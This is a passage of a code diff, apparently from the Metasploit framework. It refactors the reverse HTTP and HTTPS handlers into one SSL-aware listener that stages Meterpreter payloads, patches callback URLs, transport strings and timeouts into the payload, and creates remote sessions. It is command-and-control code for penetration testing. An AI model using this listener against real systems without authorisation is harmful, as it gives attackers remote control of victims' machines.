+ "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg",
+ "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1",
+ "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5",
+ "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I",
+ "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ",
+ "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC",
+ "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ",
+ "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5",
+ "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi",
+ "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP",
+ "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA",
+ "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL",
+ "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS",
+ "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t",
+ "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG",
+ "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM",
+ "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg",
+ "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"
+ ]
+
+ #
+ # Use the +refname+ to determine whether this handler uses SSL or not
+ #
+ def ssl?
+ !!(self.refname.index("https"))
+ end
+
+ #
+ # Return a URI of the form scheme://host:port/
+ #
+ # Scheme is one of http or https and host is properly wrapped in [] for ipv6
+ # addresses.
+ #
+ def full_uri
+ lhost = datastore['LHOST']
+ if lhost.empty? or lhost == "0.0.0.0" or lhost == "::"
+ lhost = Rex::Socket.source_address
+ end
+ lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
+ scheme = (ssl?) ? "https" : "http"
+ uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/"
+
+ uri
+ end
#
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
def process_uri_resource(uri_match)
+
# This allows 'random' strings to be used as markers for
# the INIT and CONN request types, based on a checksum
uri_strip, uri_conn = uri_match.split('_', 2)
@@ -92,7 +144,7 @@ def initialize(info = {})
register_options(
[
OptString.new('LHOST', [ true, "The local listener hostname" ]),
- OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
+ OptPort.new('LPORT', [ true, "The local listener port", 8080 ])
], Msf::Handler::ReverseHttp)
register_advanced_options(
@@ -113,7 +165,7 @@ def ipv6
end
#
- # Create a HTTP listener
+ # Create an HTTP listener
#
def setup_handler
@@ -128,14 +180,15 @@ def setup_handler
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
datastore['LPORT'].to_i,
ipv6 ? '::' : '0.0.0.0',
- false,
+ ssl?,
{
'Msf' => framework,
'MsfExploit' => self,
},
- comm
+ comm,
+ (ssl?) ? datastore["SSLCert"] : nil
)
-
+
self.service.server_name = datastore['MeterpreterServerName']
# Create a reference to ourselves
@@ -148,8 +201,7 @@ def setup_handler
},
'VirtualDirectory' => true)
- self.conn_ids = []
- print_status("Started HTTP reverse handler on http://#{datastore['LHOST']}:#{datastore['LPORT']}/")
+ print_status("Started HTTP#{ssl? ? "S" : ""} reverse handler on #{full_uri}")
end
#
@@ -175,7 +227,6 @@ def stop_handler
end
attr_accessor :service # :nodoc:
- attr_accessor :conn_ids
protected
@@ -188,26 +239,13 @@ def on_request(cli, req, obj)
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
-
- lhost = datastore['LHOST']
-
- # Default to our own IP if the user specified 0.0.0.0 (pebkac avoidance)
- if lhost.empty? or lhost == '0.0.0.0'
- lhost = Rex::Socket.source_address(cli.peerhost)
- end
-
- lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
-
uri_match = process_uri_resource(req.relative_resource)
# Process the requested resource.
case uri_match
when /^\/INITJM/
- print_line("Java: #{req.relative_resource}")
-
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
- url = "http://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
- print_line "URL: #{url.inspect}"
+ url = full_uri + conn_id + "/\x00"
blob = ""
blob << obj.generate_stage
@@ -222,7 +260,6 @@ def on_request(cli, req, obj)
blob << [packet.length+8, 0].pack('NN') + packet
resp.body = blob
- conn_ids << conn_id
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
@@ -231,11 +268,10 @@ def on_request(cli, req, obj)
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
- :ssl => false
+ :ssl => ssl?
})
when /^\/A?INITM?/
- print_line("Win32: #{req.relative_resource}")
url = ''
@@ -251,19 +287,19 @@ def on_request(cli, req, obj)
blob[i, str.length] = str
print_status("Patched user-agent at offset #{i}...")
end
-
+
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
- str = "METERPRETER_TRANSPORT_HTTP\x00"
+ str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
blob[i, str.length] = str
end
print_status("Patched transport at offset #{i}...")
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
- url = "http://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
+ url = full_uri + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
@@ -275,7 +311,6 @@ def on_request(cli, req, obj)
end
print_status("Patched Expiration Timeout at offset #{i}...")
-
i = blob.index([0xaf79257f].pack("V"))
if i
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
@@ -285,36 +320,33 @@ def on_request(cli, req, obj)
resp.body = blob
- conn_ids << conn_id
-
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
- :ssl => false
+ :ssl => ssl?,
})
- when /^\/(CONN_.*)\//
+
+ when /^\/CONN_.*\//
resp.body = ""
- conn_id = $1
- print_line("Received poll from #{conn_id}")
-
- if not self.conn_ids.include?(conn_id)
- print_status("Incoming orphaned session #{conn_id}, reattaching...")
- conn_ids << conn_id
-
- # Short-circuit the payload's handle_connection processing for create_session
- create_session(cli, {
- :passive_dispatcher => obj.service,
- :conn_id => conn_id,
- :url => url,
- :expiration => datastore['SessionExpirationTimeout'].to_i,
- :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
- :ssl => false
- })
- end
+ # Grab the checksummed version of CONN from the payload's request.
+ conn_id = req.relative_resource.gsub("/", "")
+
+ print_status("Incoming orphaned session #{conn_id}, reattaching...")
+
+ # Short-circuit the payload's handle_connection processing for create_session
+ create_session(cli, {
+ :passive_dispatcher => obj.service,
+ :conn_id => conn_id,
+ :url => full_uri + conn_id + "/\x00",
+ :expiration => datastore['SessionExpirationTimeout'].to_i,
+ :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
+ :ssl => ssl?,
+ })
+
else
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
resp.code = 200
@@ -333,3 +365,4 @@ def on_request(cli, req, obj)
end
end
+
View
292 lib/msf/core/handler/reverse_https.rb
@@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
+require 'msf/core/handler/reverse_http'
module Msf
module Handler
@@ -12,11 +13,10 @@ module Handler
###
module ReverseHttps
- include Msf::Handler
+ include Msf::Handler::ReverseHttp
#
- # Returns the string representation of the handler type, in this case
- # 'reverse_http'.
+ # Returns the string representation of the handler type
#
def self.handler_type
return "reverse_https"
@@ -31,304 +31,18 @@ def self.general_handler_type
end
#
- # Define 8-bit checksums for matching URLs
- # These are based on charset frequency
- #
- URI_CHECKSUM_INITW = 92
- URI_CHECKSUM_INITJ = 88
- URI_CHECKSUM_CONN = 98
-
- #
- # Precalculated checkums as fallback
- #
- URI_CHECKSUM_PRECALC = ["Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp", "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt", "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby", "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563", "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg", "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E", "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2", "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ", "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg", "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1", "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5", "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I", "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ", "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC", "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ", "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5", "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi", "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP", "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA", "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL", "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS", "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t", "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG", "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM", "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg", "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"]
-
- #
- # Map "random" URIs to static strings, allowing us to randomize
- # the URI sent in the first request.
- #
- def process_uri_resource(uri_match)
-
- # This allows 'random' strings to be used as markers for
- # the INIT and CONN request types, based on a checksum
- uri_strip, uri_conn = uri_match.split('_', 2)
- uri_strip.sub!(/^\//, '')
- uri_check = Rex::Text.checksum8(uri_strip)
-
- # Match specific checksums and map them to static URIs
- case uri_check
- when URI_CHECKSUM_INITW
- uri_match = "/INITM"
- when URI_CHECKSUM_INITJ
- uri_match = "/INITJM"
- when URI_CHECKSUM_CONN
- uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
- end
-
- uri_match
- end
-
- #
- # Create a URI that matches a given checksum
- #
- def generate_uri_checksum(sum)
- chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
- 32.times do
- uri = Rex::Text.rand_text_alphanumeric(3)
- chk.sort_by {rand}.each do |x|
- return(uri + x) if Rex::Text.checksum8(uri + x) == sum
- end
- end
-
- # Otherwise return one of the pre-calculated strings
- return URI_CHECKSUM_PRECALC[sum]
- end
-
- #
# Initializes the HTTP SSL tunneling handler.
#
def initialize(info = {})
super
register_options(
[
- OptString.new('LHOST', [ true, "The local listener hostname" ]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
], Msf::Handler::ReverseHttps)
- register_advanced_options(
- [
- OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
- OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]),
- OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]),
- OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]),
- OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ])
- ], Msf::Handler::ReverseHttps)
- end
-
- #
- # Toggle for IPv4 vs IPv6 mode
- #
- def ipv6
- self.refname.index('ipv6') ? true : false
- end
-
- #
- # Create an HTTPS listener
- #
- def setup_handler
-
- comm = datastore['ReverseListenerComm']
- if (comm.to_s == "local")
- comm = ::Rex::Socket::Comm::Local
- else
- comm = nil
- end
-
- # Start the HTTPS server service on this host/port
- self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
- datastore['LPORT'].to_i,
- ipv6 ? '::' : '0.0.0.0',
- true,
- {
- 'Msf' => framework,
- 'MsfExploit' => self,
- },
- comm,
- datastore['SSLCert']
- )
-
- self.service.server_name = datastore['MeterpreterServerName']
-
- # Create a reference to ourselves
- obj = self
-
- # Add the new resource
- service.add_resource("/",
- 'Proc' => Proc.new { |cli, req|
- on_request(cli, req, obj)
- },
- 'VirtualDirectory' => true)
-
- self.conn_ids = []
-
- uhost = datastore['LHOST']
- uhost = "[#{uhost}]" if Rex::Socket.is_ipv6?(uhost)
- print_status("Started HTTPS reverse handler on https://#{uhost}:#{datastore['LPORT']}/")
- end
-
- #
- # Simply calls stop handler to ensure that things are cool.
- #
- def cleanup_handler
- stop_handler
- end
-
- #
- # Basically does nothing. The service is already started and listening
- # during set up.
- #
- def start_handler
- end
-
- #
- # Removes the / handler, possibly stopping the service if no sessions are
- # active on sub-urls.
- #
- def stop_handler
- self.service.remove_resource("/") if self.service
- end
-
- attr_accessor :service # :nodoc:
- attr_accessor :conn_ids
-
-protected
-
- #
- # Parses the HTTPS request
- #
- def on_request(cli, req, obj)
- sid = nil
- resp = Rex::Proto::Http::Response.new
-
- print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
-
- lhost = datastore['LHOST']
-
- # Default to our own IP if the user specified 0.0.0.0 (pebkac avoidance)
- if lhost.empty? or lhost == '0.0.0.0' or lhost == '::'
- lhost = Rex::Socket.source_address(cli.peerhost)
- end
-
- lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
-
- uri_match = process_uri_resource(req.relative_resource)
-
- # Process the requested resource.
- case uri_match
- when /^\/INITJM/
- conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
- url = "https://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
- #$stdout.puts "URL: #{url.inspect}"
-
- blob = ""
- blob << obj.generate_stage
-
- # This is a TLV packet - I guess somewhere there should be API for building them
- # in Metasploit :-)
- packet = ""
- packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
- packet << [url.length+8, 0x1000a].pack('NN')+url
- packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN')
- packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN')
- blob << [packet.length+8, 0].pack('NN') + packet
-
- resp.body = blob
- conn_ids << conn_id
-
- # Short-circuit the payload's handle_connection processing for create_session
- create_session(cli, {
- :passive_dispatcher => obj.service,
- :conn_id => conn_id,
- :url => url,
- :expiration => datastore['SessionExpirationTimeout'].to_i,
- :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
- :ssl => false
- })
-
- when /^\/A?INITM?/
-
- url = ''
-
- print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
- resp['Content-Type'] = 'application/octet-stream'
-
- blob = obj.stage_payload
-
- # Replace the user agent string with our option
- i = blob.index("METERPRETER_UA\x00")
- if i
- str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
- blob[i, str.length] = str
- print_status("Patched user-agent at offset #{i}...")
- end
-
-
- # Replace the transport string first (TRANSPORT_SOCKET_SSL
- i = blob.index("METERPRETER_TRANSPORT_SSL")
- if i
- str = "METERPRETER_TRANSPORT_HTTPS\x00"
- blob[i, str.length] = str
- end
- print_status("Patched transport at offset #{i}...")
-
- conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
- i = blob.index("https://" + ("X" * 256))
- if i
- url = "https://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
- blob[i, url.length] = url
- end
- print_status("Patched URL at offset #{i}...")
-
- i = blob.index([0xb64be661].pack("V"))
- if i
- str = [ datastore['SessionExpirationTimeout'] ].pack("V")
- blob[i, str.length] = str
- end
- print_status("Patched Expiration Timeout at offset #{i}...")
-
- i = blob.index([0xaf79257f].pack("V"))
- if i
- str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
- blob[i, str.length] = str
- end
- print_status("Patched Communication Timeout at offset #{i}...")
-
- resp.body = blob
-
- conn_ids << conn_id
-
- # Short-circuit the payload's handle_connection processing for create_session